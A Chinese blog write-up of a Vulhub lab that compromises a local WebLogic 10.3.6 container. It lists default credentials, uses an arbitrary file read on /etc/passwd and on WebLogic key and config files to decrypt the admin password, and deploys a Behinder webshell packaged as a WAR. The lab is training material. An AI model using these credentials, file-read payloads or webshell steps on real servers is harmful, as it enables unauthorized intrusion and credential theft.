Vulhub-Weblogic后台部署War包Getshell

一、WebLogic

WebLogic - Java应用服务器软件

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

参考链接:WebLogic_百度百科

二、漏洞环境

1、漏洞目录

vulhub/weblogic/weak_password

2、测试环境

本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

  • Weblogic版本:10.3.6(11g)

  • Java版本:1.6

三、启动环境

docker-compose up -d

┌──(root㉿kali)-[~/vulhub/weblogic/weak_password]
└─# docker-compose up -d
Creating network "weak_password_default" with the default driver
Creating weak_password_weblogic_1 ... done

┌──(root㉿kali)-[~/vulhub/weblogic/weak_password]
└─# docker ps -a                                                                                      
CONTAINER ID   IMAGE                           COMMAND             CREATED         STATUS         PORTS                                                                                 NAMES
1126dc6254af   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   9 seconds ago   Up 8 seconds   0.0.0.0:5556->5556/tcp, :::5556->5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   weak_password_weblogic_1

四、复现Weblogic漏洞

1、弱口令

环境启动后,访问http://127.0.0.1:7001/console,即为weblogic后台。

本环境存在弱口令:

weblogic:Oracle@123

weblogic常用弱口令:

system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

Weblogic 弱口令批量检测工具:WeblogicWeakPwd

2、任意文件读取漏洞

读取后台用户密文与密钥文件。

环境模拟了一个任意文件下载漏洞,访问http://127.0.0.1:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。

 

 

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

2.1 SerializedSystemIni.dat

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件(文件格式是.dat):

http://127.0.0.1:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

 

 

2.2 config.xml

config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码。

http://127.0.0.1:7001/hello/file.jsp?path=config/config.xml

2.3 解密密文

使用本环境的decrypt目录下的weblogic_decrypt.jar解密密文。

  • 文件:SerializedSystemIni.dat

  • 密文:{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

java -jar weblogic_decrypt.jar

参考链接:解密weblogic的方法及响应工具

3、后台上传webshell

3.1 制作webshell

进入Behinder的server文件夹制作war包(默认连接密码rebeyond)

D:\Behinder\server>jar -cvf shell.war shell.jsp

3.2 上传webshell

获取到管理员密码后,登录后台。点击左侧的Deployments,可见一个应用列表,点击Install。

选择“upload your file(s)”

点击Browse上传war包,上传成功后一直点Next。

直到Finish变亮可以点击,可更改文件名(在此不更改),点击Finish。

访问木马文件

http://127.0.0.1:7001/shell/shell.jsp

3.3 获取webshell

启动冰蝎(需要Java8环境)

java -jar Behinder.jar

D:\Behinder>java -version
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

D:\Behinder>java -jar Behinder.jar

配置连接

连接成功

posted @ 2023-03-17 16:19  HKalpa  阅读(652)  评论(0编辑  收藏  举报